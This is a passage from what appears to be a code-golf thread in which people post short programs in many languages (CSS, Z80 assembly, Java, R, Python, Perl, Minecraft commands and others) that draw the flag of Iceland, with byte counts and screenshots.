100px; height: 72px; } body { background: #0048e0; margin: 0; } *::before, *::after { content: ""; position: fixed; } *::after { background: #d72828 } html::before { top: 28px; height: 16px } body::before { left: 28px; width: 16px } html::after { top: 32px; height: 8px } body::after { left: 32px; width: 8px } ``` This uses the pseudo-elements (elements that aren't written in HTML) `::before` and `::after` to create the lines on the flag. The reason it works with no HTML is that in HTML5 the `<html>` and `<body>` elements are optional, so browsers automatically create them if they're not present. More fun: ``` *, *::before, *::after { background: white; width: 100px; height: 72px; } body { background: #0048e0; margin: 0; } *::before, *::after { content: ""; position: fixed; } *::after { background: #d72828 } html::before { top: 28px; height: 16px } body::before { left: 28px; width: 16px } html::after { top: 32px; height: 8px } body::after { left: 32px; width: 8px } @keyframes change-color { from { filter: none } 50% { filter: hue-rotate(360deg) } to { filter: none } } @keyframes transformations { from { transform: translate(150%, 100%) rotateZ(0deg) scale(0.7) } 15% { transform: translate(150%, 100%) rotateZ(54deg) scale(1.8) } to { transform: translate(150%, 100%) rotateZ(360deg) scale(0.7) } } html { animation: 0.7s linear infinite change-color, 1s linear infinite transformations; } ``` [Answer] # ZX Spectrum BASIC, ~~210~~ ~~141~~ 92 bytes ``` 1 LET n=-VAL "8.5": FOR y=n TO -n: FOR x=n TO VAL "16": LET p=VAL "271"(PI-(ABS x<SQR PI OR ABS y>SQR PI)-NOT INT ABS x*INT ABS y): PRINT PAPER p; BRIGHT p>PI;" ";: NEXT x: PRINT : NEXT y ``` [![enter image description here](https://i.stack.imgur.com/9rIkA.png)](https://i.stack.imgur.com/9rIkA.png) Size determined as the size of the BASIC program on tape via `SAVE`. A lot of the golfing credit to some members of the [ZX Spectrum group on Facebook](https://www.facebook.com/groups/164156683632183/1081598738554635/), in particular @impomatic and Johan Koelman. [Answer] # ZX Spectrum Z80 Assembly, 65 bytes ``` ld hl,22528 ld b,7 ld de,120*256+8 ; white, blue ld a,16 ; red ; create the first row blueleft: ld (hl),e inc hl djnz blueleft ld (hl),d inc hl ld (hl),a inc hl ld (hl),a inc hl ld (hl),d inc hl ld b,14 blueright: ld (hl),e inc hl djnz blueright ; copy the first row to the next 17 rows ld l,b ld de,22528+32 ld bc,17*32 ldir ; add the horizontal stripe ld hl,22528+7*32 dec d ld e,b ld c,2 midrep: ld b,25 midstripe: cp (hl) jr z,red ld (hl),120 red: ld (de),a inc hl inc de djnz midstripe ld hl,22528+10*32 ld e,9*32 dec c jr nz,midrep ret ``` ![Icelandic Flag](https://i.stack.imgur.com/C2FbI.png) [Answer] # Minecraft 1.10.2, 734 characters It might be 734 characters, but it's the only submission so far made of *actual wool!* ``` summon FallingSand ~ ~1 ~ {Block:log,Time:1,Passengers:[{id:FallingSand,Block:redstone_block,Time:1,Passengers:[{id:FallingSand,Block:activator_rail,Time:1,Passengers:[{id:MinecartCommandBlock,Command:"fill 0 ~ 0 100 ~ 72 wool 11"},{id:MinecartCommandBlock,Command:"fill 28 ~ 0 44 ~ 72 wool"},{id:MinecartCommandBlock,Command:"fill 0 ~ 28 100 ~ 44 wool"},{id:MinecartCommandBlock,Command:"fill 32 ~ 0 40 ~ 72 wool 14"},{id:MinecartCommandBlock,Command:"fill 0 ~ 32 100 ~ 40 wool 14"},{id:MinecartCommandBlock,Command:setblock ~ ~ ~1 command_block 0 replace {Command:fill ~ ~-3 ~-1 ~ ~ ~ air}},{id:MinecartCommandBlock,Command:setblock ~ ~-1 ~1 redstone_block},{id:MinecartCommandBlock,Command:kill @e[type=MinecartCommandBlock]}]}]}]} ``` Go to about -5x -5z, paste into an Impulse command block, set it to "Always Active" and press Done. Flag spans from 0, 0 to 100, 72; and is 3 blocks above the command block as placed. It [casts a fairly large shadow](https://puu.sh/qm49R.png), and monsters spawn under it. Whether this is accurate to the country of Iceland, however, is anyone's guess. Fair warning - will /kill all `MinecartCommandBlock`s in the world in the interest of saving four characters. Don't run this in a world you're overly attached to. [![Flag](https://i.stack.imgur.com/jXZKm.png)](https://i.stack.imgur.com/jXZKm.png) Used [MrGarretto's command combiner](https://mrgarretto.com/cmdcombiner) and tweaked the output a little bit (808 -> 734) [Answer] # Java 8, ~~449~~ 447 bytes: ``` import java.awt.*;import javax.swing.*;class A extends JPanel{public void paintComponent(Graphics G){super.paintComponent(G);G.setColor(new Color(0,72,224));G.fillRect(0,0,175,126);G.setColor(Color.WHITE);G.fillRect(49,0,28,126);G.fillRect(0,49,175,28);G.setColor(new Color(215,40,40));G.fillRect(56,0,14,126);G.fillRect(0,56,175,14);}public static void main(String[]a){JFrame J=new JFrame();J.add(new A());J.setSize(175,147);J.setVisible(true);}} ``` A very late answer, and also the longest one here, apparently. Uses the `java.awt.Graphics` class to create and open a window with the flag in it, which is created by 5 total rectangles consisting of 1 for the blue blocks, 2 for the white stripes, and 2 for the red stripes. Uses 7 pixels:1 unit ratio. In other words, for each unit, 7 pixels are used. Here is an image of the output on a Macintosh with OS X 10.11: [![Example Output](https://i.stack.imgur.com/Dqbv0.png)](https://i.stack.imgur.com/Dqbv0.png) Now to find a way to golf this down a bit more... [Answer] ## Logo, ~~216~~ 188 bytes Using [Calormen.com's implementation](http://www.calormen.com/jslogo/). For you purists, the implementation uses some antialiasing which feathers the edges a little. I did waste 3 bytes hiding the turtle, though, so that should make up for it. This could be reduced greatly if your Logo implementation lets you set the size of the window. Then you could `wrap` and make the turtle plow on through to make the cross in four strokes, and skip having to trim it up with a border. [![generated flag screenshot](https://i.stack.imgur.com/T877a.png)](https://i.stack.imgur.com/T877a.png) ``` TO X :C :S setpc :C setpensize :S home pd setx 100 setx 36 bk 36 fd 72 pu END setpc "#48e0 fill X 7 16 X "#d72828 8 fd 4 pe pd setx -4 bk 80 setx 104 fd 80 setx 0 ht ``` [Answer] ## R, ~~197~~ ~~195~~ 187 bytes ``` w="white";r="#d72828";png(w=100,h=72);par(mar=rep(0,4),bg="#0048e0",xaxs="i",yaxs="i");frame();rect(c(0,7,0,8)/25,c(7,0,8,0)/18,c(1,.44,1,.4),c(11/18,1,5/9,1),c=c(w,w,r,r),b=NA);dev.off() ``` Indented, with new lines and explanations: ``` w="white" r="#d72828" png(w=100,h=72) #Creates in working directory a png called Rplot001.png #with a width and a height of 120 and 72 pixels respectively. par(mar=rep(0,4), #No margin around the plot bg="#0048e0", #Blue background xaxs="i",yaxs="i") #Axes fits range exactly frame() #Creates an empty plot which range is xlim=c(0,1) & ylim=c(0,1) rect(c(0,7,0,8)/25, #Because rect is vectorized c(7,0,8,0)/18, c(1,.44,1,.4), #i. e. c(25,11,25,10)/25 c(11/18,1,5/9,1), #i. e. c(11,18,10,18)/18 c=c(w,w,r,r), # c= is the same as col=, thanks to argument name completion b=NA)#No borders dev.off() ``` [![Island flag](https://i.stack.imgur.com/XhtGe.png)](https://i.stack.imgur.com/XhtGe.png) **Edit**: turns out `frame()`, contrary to `plot()` or `plot.new()` doesn't by default add a border to the plot, meaning `bty="n"` was unnecessary here. [Answer] ## FFmpeg, ~~339~~ 184 bytes ``` ffplay -f lavfi color=d72828:100x36[r];color=white:64x32[w];color=0048e0:56x28[b];[w][b]overlay=4,split[x][y];[r][x]overlay=-32[d];[d][y]overlay=40,split[t][m];[m]vflip[n];[t][n]vstack ``` Will try to golf this down ..further. [![100x72 image of Iceland flag](https://i.stack.imgur.com/TrElL.png)](https://i.stack.imgur.com/TrElL.png) [Answer] # Atari 8-bit executable, 123 bytes Another "just for fun" entry, this program is meant to be run on an Atari 8-bit computer or emulator. For example, to load the program on Atari800, just run: ``` atari800 iceland.xex ``` ## Machine code (in hex bytes) ``` ff ff 00 06 74 06 a9 1b 8d 30 02 a9 06 8d 31 02 a9 44 8d c4 02 a9 0f 8d c5 02 a9 84 8d c6 02 d0 fe 70 70 70 48 57 06 48 57 06 48 57 06 48 57 06 48 57 06 48 57 06 48 57 06 48 61 06 48 6b 06 48 6b 06 48 61 06 48 57 06 48 57 06 48 57 06 48 57 06 48 57 06 48 57 06 48 57 06 41 1b 06 ff fe 5b ff ff ff c0 00 00 00 aa aa 5a aa aa aa 80 00 00 00 55 55 55 55 55 55 40 00 00 00 ``` ## Assembler source code (can be compiled with [MADS](http://mads.atari8.info)): ``` org $0600 lda <dlist sta $0230 lda >dlist sta $0231 lda #$44 sta $02c4 lda #$0f sta $02c5 lda #$84 sta $02c6 loop bne loop dlist dta $70, $70, $70 dta $48, a(line1), $48, a(line1), $48, a(line1), $48, a(line1), $48, a(line1), $48, a(line1), $48, a(line1) dta $48, a(line2) dta $48, a(line3), $48, a(line3) dta $48, a(line2) dta $48, a(line1), $48, a(line1), $48, a(line1), $48, a(line1), $48, a(line1), $48, a(line1), $48, a(line1) dta $41, a(dlist) line1 dta $ff, $fe, $5b, $ff, $ff, $ff, $c0, $00, $00, $00 line2 dta $aa, $aa, $5a, $aa, $aa, $aa, $80, $00, $00, $00 line3 dta $55, $55, $55, $55, $55, $55, $40, $00, $00, $00 ``` ## How it works: The program uses a custom display list that's based on ANTIC Mode 8 (40 pixels per line, 2 bpp). Repeated lines are loaded from the same memory location. After setting up the display, the program enters an infinite loop. ## Screenshot: [![iceland.xex running on Atari800](https://i.stack.imgur.com/nMao6.png)](https://i.stack.imgur.com/nMao6.png) [Answer] ## Java, 335 bytes The function is ``` void w()throws Exception{int w=100,h=72;BufferedImage i=new BufferedImage(w,h,1);Graphics g=i.getGraphics();g.setColor(new Color(18656));g.fillRect(0,0,w,h);g.setColor(WHITE);g.fillRect(0,28,w,16);g.fillRect(28,0,16,h);g.setColor(new Color(14100520));g.fillRect(0,32,w,8);g.fillRect(32,0,8,h);ImageIO.write(i,"png",new File("f.png"));} ``` And it writes the desired image as `f.png`, with a size of 100x72 (Note that this is not a direct competitor to the [Answer by R. Kap](https://codegolf.stackexchange.com/a/85207/40774), because it writes a file, and does not display the image on the screen) Here is the ungolfed version that can be compiled and run: ``` import static java.awt.Color.WHITE; import java.awt.Color; import java.awt.Graphics; import java.awt.image.BufferedImage; import java.io.File; import javax.imageio.ImageIO; public class Iceland { public static void main(String[] args) throws Exception { Iceland i = new Iceland(); i.w(); } void w() throws Exception { int B=0x0048e0,R=0xd72828,w=100,h=72; BufferedImage i=new BufferedImage(w,h,1); Graphics g=i.getGraphics(); g.setColor(new Color(B)); g.fillRect(0,0,w,h); g.setColor(WHITE); g.fillRect(0,28,w,16); g.fillRect(28,0,16,h); g.setColor(new Color(R)); g.fillRect(0,32,w,8); g.fillRect(32,0,8,h); ImageIO.write(i,"png",new File("f.png")); } } ``` --- A side note, regarding the related questions: Maybe one should create a challenge to paint the flags of * Indonesia * Poland * Finland * France * Netherlands * Thailand * Norway at the same time: [![enter image description here](https://i.stack.imgur.com/bOh0k.jpg)](https://i.stack.imgur.com/bOh0k.jpg) [Answer] # Python, ~~119~~ ~~118~~ ~~114~~ 112 bytes Nothing special, straightforward: ``` b,w,r="\0H\xe0"*28,"\xff"*12,"\xd7(("*8 A,B=28*(b+w+r+w+2*b),4*(8*w+r+15*w) print"P6 100 72 255 "+A+B+100*r+B+A ``` Output as binary PPM, usage ``` python golf_iceland.py > iceland.ppm ``` * Edit1: shoved a byte between `print` and the quotation mark * Edit2: slighty shorter as binary PPM * Edit3: Figured that `\0` can be used instead of `\x00` If someone knows how to use the non-printable ASCII-character directly, please let know. [![Converted to PNG](https://i.stack.imgur.com/WEkkx.png)](https://i.stack.imgur.com/WEkkx.png) [Answer] # Python IDLE, ~~191~~ ~~172~~ 156 bytes IDLE is Python's standard IDE. Unless it has a custom theme, `STDOUT` is blue, `STDERR` is red, and the background is white. So, the following code: ``` from sys import* x=[1]*7;y=[0]*7;z=[0,2,2,0] f=[x+z+x*2]*4+[y+z+y*2,[2]*25] for s in f+f[::-1]:[[stderr,stdout][-x].write(' █'[x>0]*2)for x in s];print() ``` Produces this output: [![enter image description here](https://i.stack.imgur.com/7rwEk.png)](https://i.stack.imgur.com/7rwEk.png) As printed characters as not square, this is slightly off, but if we take 1 unit to be 2 chars across and 1 char tall, then the proportions are exact. This could be golfed, by halfing the width dimension, and using an ASCII character for the blocks such as `'#'`, but it doesn't exactly have the same effect. --- # Explanation The code itself seems quite sloppy at the moment, and can definitely be golfed, but the basic idea is: * Construct a matrix where `0` represents whitespace, `1` represents a blue block, and `2` represents a red block. + The first half is constructed (mainly through list slicing / multiplication), and added to the reverse of itself to generate the full flag. * Loop through the matrix, printing each value as either whitespace or a block to `STDERR`/`STDOUT` accordingly. Print a newline after each row. [Answer] ## JavaScript + HTML, 267 bytes ``` document.write("<div style='width:250px;height:180px;background:"+[[b="bottom",44.4,d="d72828",55.6],[r="right",32,d,40],[b,38.9,e="fff",61.1],[r,28,e,44]].map(([d,a,c,o])=>`linear-gradient(to ${d+(t=",transparent ")+a}%,#${c} ${a}%,#${c} ${o}%${t+o}%)`)+",#003897'") ``` [Answer] ## SVG+Javascript, ~~190~~ ~~165~~ 164 bytes No expert there, ~~repeating one path just to change the color and line width looks silly~~ javascript ftw! ``` document.write(`<svg><rect width=100 height=72 fill="#0048e0"/>${a='<path d="M0 36L100 36M36 0L36 72"style="stroke-width:'}16;stroke:#fff"/>${a}8;stroke:#d72828">`) ``` More readable: ``` document.write(`<svg><rect width=100 height=72 fill="#0048e0"/> ${a='<path d="M0 36L100 36M36 0L36 72"style="stroke-width:'}16;stroke:#fff"/> ${a}8;stroke:#d72828">`) ``` [Answer] # [Processing](https://processing.org/), 136 bytes ``` size(100,72);noStroke();background(#0048e0);fill(255);rect(28,0,16,72);rect(0,28,100,16);fill(#d72828);rect(0,32,100,8);rect(32,0,8,72); ``` ## Ungolfed ``` //open the window size(100,72); //turn off borders that surround shapes by default noStroke(); //draw blue as the background background(#0048e0); //set color to white fill(255); //draw 2 white bars rect(28,0,16,72); rect(0,28,100,16); //set color to red fill(#d72828); //draw 2 red bars rect(0,32,100,8); rect(32,0,8,72); ``` ## Output: [![enter image description here](https://i.stack.imgur.com/9YCuY.png)](https://i.stack.imgur.com/9YCuY.png) [Answer] # Mathematica ~~174~~ 157 bytes Without builtins: **157 bytes** ``` r=Rectangle;c=RGBColor;Graphics@{c[{0,72,224}/255],r[{0,0},{25,18}],White,r[{7,0},{11,18}],r[{0,7},{25,11}],c[{43,8,8}/51],r[{8,0},{10,18}],r[{0,8},{25,10}]} ``` [![enter image description here](https://i.stack.imgur.com/cs3Da.png)](https://i.stack.imgur.com/cs3Da.png) or alternatively **232 bytes** ``` x=Join[Unitize/@Range@7,{0},{2,2},{0},Unitize/@Range@14]&/@Range@7;y=Join[ConstantArray[0,8],{2,2},ConstantArray[0,15]];z=ConstantArray[2,25];ArrayPlot[Join[x,{y},{z,z},{y},x]/.{2->RGBColor[{43,8,8}/51],1->RGBColor[{0,72,224}/255]}] ``` [![enter image description here](https://i.stack.imgur.com/MuhHU.png)](https://i.stack.imgur.com/MuhHU.png) [Answer] # JavaScript (ES6), 231 ~~240~~ Code inside the snippet below. Run it to test. ``` d=(w,h,c)=>`<div style=float:left;width:${w}em;height:${h}em;background:#${['0048e0','fff','d72828'][~~c]}>`;document.write(d(25)+(a=[252,61,94,61,476]).concat(b=[261,70,485],810,b,a).map(v=>d(v>>5,v/4&7,v&3)).join(e='</div>')+e+e) ``` [Answer] ## ZX Spectrum Z80 Assembly, 51 bytes <https://github.com/ralphbecket/Z80/blob/master/IcelandFlag/IcelandFlag.asm> ``` zeusemulate "48K", "ULA+" ZeusEmulate_PC equ Main ZeusEmulate_SP equ $FF40 org $8000 MinWhite equ 7 MinRed equ MinWhite + 1 TopRed equ MinRed + 2 TopWhite equ TopRed + 1 Height equ TopWhite + MinWhite - 2 Width equ TopWhite + 2 * MinWhite - 1 White equ %01111000 Red equ %01010000 Blue equ %01001000 Main ld hl, $5800 + ((Height - 1) * 32) + (Width - 1) ld c, Height YLoop ld b, Width XLoop ld (hl), Red ld de, MinRed * $100 + TopRed call Test jr c, Next ld (hl), White ld de, MinWhite * $100 + TopWhite call Test jr c, Next ld (hl), Blue Next dec hl djnz XLoop ld de, -(32 - Width) add hl, de dec c jr nz, YLoop ret Test equ * TestX ld a, b cp d jr c, TestY cp e ret c TestY ld a, c cp d ccf ret nc cp e ret ``` [![enter image description here](https://i.stack.imgur.com/hk7Ha.png)](https://i.stack.imgur.com/hk7Ha.png) [Answer] # Python Turtle, 176 bytes Another Python Turtle implementation but this time based on *stamping* instead of *drawing*: ``` from turtle import* shape("square") c=color c("navy") z=shapesize z(18,25) s=stamp s() c("white") z(4,25) s() bk(70) seth(90) s() c("#d72828") z(2,18) s() home() z(2,25) done() ``` Using stamping, and not making it easily scalable, saves about 60 bytes of code. [![enter image description here](https://i.stack.imgur.com/Cwgsd.png)](https://i.stack.imgur.com/Cwgsd.png) The fun part is you can replace the `"square"` polygon option with the `"turtle"` polygon option in the `shape()` call and get an ecogroovy logo: [![enter image description here](https://i.stack.imgur.com/r9JlZ.png)](https://i.stack.imgur.com/r9JlZ.png) [Answer] # J, ~~86~~ ~~84~~ 83 bytes ``` load'viewmat' (255,0 72 224,:215,2#40)viewmat _9 _9|.2(b=.[,~[,.~[,[,.])0 b 14 21$1 ``` The approach is the same as @Gábor Fekete's with Python. Left argument `colors` for `viewmat` is an array of RGB values, in our case: ``` 255 255 255 0 72 224 215 40 40 ``` And the right argument is a matrix of indices of `colors`. `(_9 _9 |. matrix)` instructs to shift `matrix` 9 items in each dimension. Scary construction `(border ([,~[,.~[,[,.]) matrix)` wraps `matrix` with number `border`. And `(14 21 $ 1)` makes 14×21 matrix of ones. The output is displayed in separate resizable window, pretty large by default. [![enter image description here](https://i.stack.imgur.com/CzLSx.png)](https://i.stack.imgur.com/CzLSx.png) ### Thanks miles - saved 2 bytes with reordering the colors, used the feature of `,` that duplicates the numbers (255) for the shape agreement. [Answer] **C#, ~~384~~ ~~346~~ ~~317~~ ~~292~~ ~~291~~ 289 Bytes** Simple solution with Windows Forms and GDI ``` Func<int,int,Point>p=(x,y)=>new Point(x*10,y*10);var b=new Bitmap(250,180);var g=Graphics.FromImage(b);g.Clear(Color.Blue);g.DrawLines(new Pen(Color.White,40),new[]{p(0,9),p(50,9),p(9,-20),p(9,18)});g.DrawLines(new Pen(Color.Red,20),new[]{p(0,9),p(50,9),p(9,-20),p(9,18)});b.Save("b.png"); ``` **Usage** Start a new console-project and put the code above in the main-method, add System.Drawing-Namespace. **How it works** The code creates a new image and draws some lines on it. It saves the image to disk. Some of the ending points of the lines are outside the visible area. [![enter image description here](https://i.stack.imgur.com/3nIO4.png)](https://i.stack.imgur.com/3nIO4.png) [Answer] # PICO-8/Lua, ~~108~~ ~~100~~ 92 bytes (non-competing) ``` rectfill(0,0,24,17,12) rect(0,7,24,10,7) rect(7,0,10,17,7) rect(0,8,24,9,8) rect(8,0,9,17,8) ``` [![output](https://i.stack.imgur.com/QWTiT.png)](https://i.stack.imgur.com/QWTiT.png) [Answer] # [Perl 5](https://www.perl.org/) + `-p0513`, 100 bytes ``` $b="..."x28;$}=1x12;$@="..."x8;print"P6 100 72 31",$_="$b$}$@$}$b$b"x28,$\=($}x8 .$@.$}x15)x4,$@x100 ``` [Try it online!](https://dom111.github.io/code-sandbox/#eyJsYW5nIjoid2VicGVybC01LjI4LjEiLCJjb2RlIjoiJGI9XCJcdTAwMDBcdFx1MDAxYlwieDI4OyR9PTF4MTI7JEA9XCJcdTAwMWFcdTAwMDVcdTAwMDVcIng4O3ByaW50XCJQNiAxMDAgNzIgMzFcIiwkXz1cIiRiJH0kQCR9JGIkYlwieDI4LCRcXD0oJH14OCAuJEAuJH14MTUpeDQsJEB4MTAwIiwiYXJncyI6Ii1wMDUxMyIsIm1pbWUiOiJpbWFnZS94LXBvcnRhYmxlLWJpdG1hcCJ9) Outputs a PBM image. --- # [Perl 5](https://www.perl.org/) + `-M5.10.0 -p0513`, 107 bytes ``` ($},$@,$;)=map".[48;5;${_}m ",18,15,1;$}x=7;say$\="$}$@$; $@$}$} "x7,$_=$@x8 .$;.$;.$@x15 ." ",$;x=25," ",$ ``` [Try it online!](https://dom111.github.io/code-sandbox/#eyJsYW5nIjoid2VicGVybC01LjI4LjEiLCJjb2RlIjoiKCR9LCRALCQ7KT1tYXBcIlx1MDAxYls0ODs1OyR7X31tIFwiLDE4LDE1LDE7JH14PTc7c2F5JFxcPVwiJH0kQCQ7ICRAJH0kfVxuXCJ4NywkXz0kQHg4IC4kOy4kOy4kQHgxNSAuXCJcblwiLCQ7eD0yNSxcIlxuXCIsJCIsImFyZ3MiOiItTTUuMTAuMFxuLXAwNTEzIn0=) [![Squished flag](https://i.stack.imgur.com/hWFEN.png)](https://i.stack.imgur.com/hWFEN.png) Uses ANSI escape sequences and assumes a Linux terminal to display the flag. Looks a bit weird using the measurements provided. # [Perl 5](https://www.perl.org/) + `-M5.10.0 -p0513`, 109 bytes **This version looks a bit closer to the expected dimensions...** ``` ($},$@,$;)=map".[48;5;${_}m ",18,15,1;$}x=7;say$\="$}$@$;$;$@$}$} "x7,$_=$@x8 .$;.$;.$@x15 ." ",$;x=25," ",$ ``` [Try it online!](https://dom111.github.io/code-sandbox/#eyJsYW5nIjoid2VicGVybC01LjI4LjEiLCJjb2RlIjoiKCR9LCRALCQ7KT1tYXBcIlx1MDAxYls0ODs1OyR7X31tICBcIiwxOCwxNSwxOyR9eD03O3NheSRcXD1cIiR9JEAkOyQ7JEAkfSR9XG5cIng3LCRfPSRAeDggLiQ7LiQ7LiRAeDE1IC5cIlxuXCIsJDt4PTI1LFwiXG5cIiwkIiwiYXJncyI6Ii1NNS4xMC4wXG4tcDA1MTMifQ==) [![Less squished flag](https://i.stack.imgur.com/zc81p.png)](https://i.stack.imgur.com/zc81p.png) --- # [Perl 5](https://www.perl.org/) + `-M5.10.0 -p0513`, 103 bytes Using the standard ANSI colours (as specified in the question) saves another 4 bytes! ``` ($},$@,$;)=map".[${_}m ",44,47,41;$}x=7;say$\="$}$@$; $@$}$} "x7,$_=$@x8 .$;.$;.$@x15 ." ",$;x=25," ",$ ``` [Try it online!](https://dom111.github.io/code-sandbox/#eyJsYW5nIjoid2VicGVybC01LjI4LjEiLCJjb2RlIjoiKCR9LCRALCQ7KT1tYXBcIlx1MDAxYlske199bSBcIiw0NCw0Nyw0MTskfXg9NztzYXkkXFw9XCIkfSRAJDsgJEAkfSR9XG5cIng3LCRfPSRAeDggLiQ7LiQ7LiRAeDE1IC5cIlxuXCIsJDt4PTI1LFwiXG5cIiwkIiwiYXJncyI6Ii1NNS4xMC4wXG4tcDA1MTMifQ==) [Answer] # SpecaBAS - 150 bytes ``` 1 a=15,b=250,c=180: FOR i=1 TO 5: READ k,x,y,w,h: RECTANGLE INK k;x,y,w,h FILL: NEXT i 2 DATA 1,0,0,b,c,a,71,0,40,c,a,0,71,b,40,2,81,0,20,c,2,0,81,b,20 ``` Reads the ink colour, x,y, width and height and draws a rectangle with those coordinates/dimensions. [![enter image description here](https://i.stack.imgur.com/BMFa6.png)](https://i.stack.imgur.com/BMFa6.png) ]